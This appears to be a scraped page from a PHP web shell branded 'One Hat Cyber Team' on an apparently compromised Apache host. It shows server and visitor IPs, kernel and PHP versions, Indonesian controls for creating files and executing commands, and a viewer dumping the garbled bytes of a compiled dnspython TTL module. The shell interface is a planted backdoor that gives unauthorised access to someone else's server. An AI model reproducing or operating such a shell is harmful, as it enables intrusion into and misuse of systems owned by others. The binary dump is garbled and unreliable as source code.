⚝
One Hat Cyber Team
⚝
Your IP:
3.144.163.245
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.9
/
site-packages
/
dns
/
__pycache__
/
View File Name :
ttl.cpython-39.pyc
a �M�e� � @ s\ d Z ddlmZ ddlZdZG dd� dejj�Ze e d�dd �Zee e f e d �dd�ZdS ) zDNS TTL conversion.� )�UnionNl �� c @ s e Zd ZdZdS )�BadTTLz!DNS TTL value is not well-formed.N)�__name__� __module__�__qualname__�__doc__� r r �+/usr/lib/python3.9/site-packages/dns/ttl.pyr s r )�text�returnc C s | � � rt| �}n�t| �dkr$t�n�d}d}d}| D ]�}|� � rZ|d9 }|t|�7 }d}q4|rbt�|�� }|dkr�||d 7 }n`|dkr�||d 7 }nJ|d kr�||d 7 }n4|dkr�||d 7 }n|d kr�||7 }ntd| ��d}d}q4|dks�td��|dk �s|tk�rtd��|S )z�Convert the text form of a TTL to an integer. The BIND 8 units syntax for TTLs (e.g. '1w6d4h3m10s') is supported. *text*, a ``str``, the textual TTL. Raises ``dns.ttl.BadTTL`` if the TTL is not well-formed. Returns an ``int``. r T� F�wi�: �di�Q �hi �m�<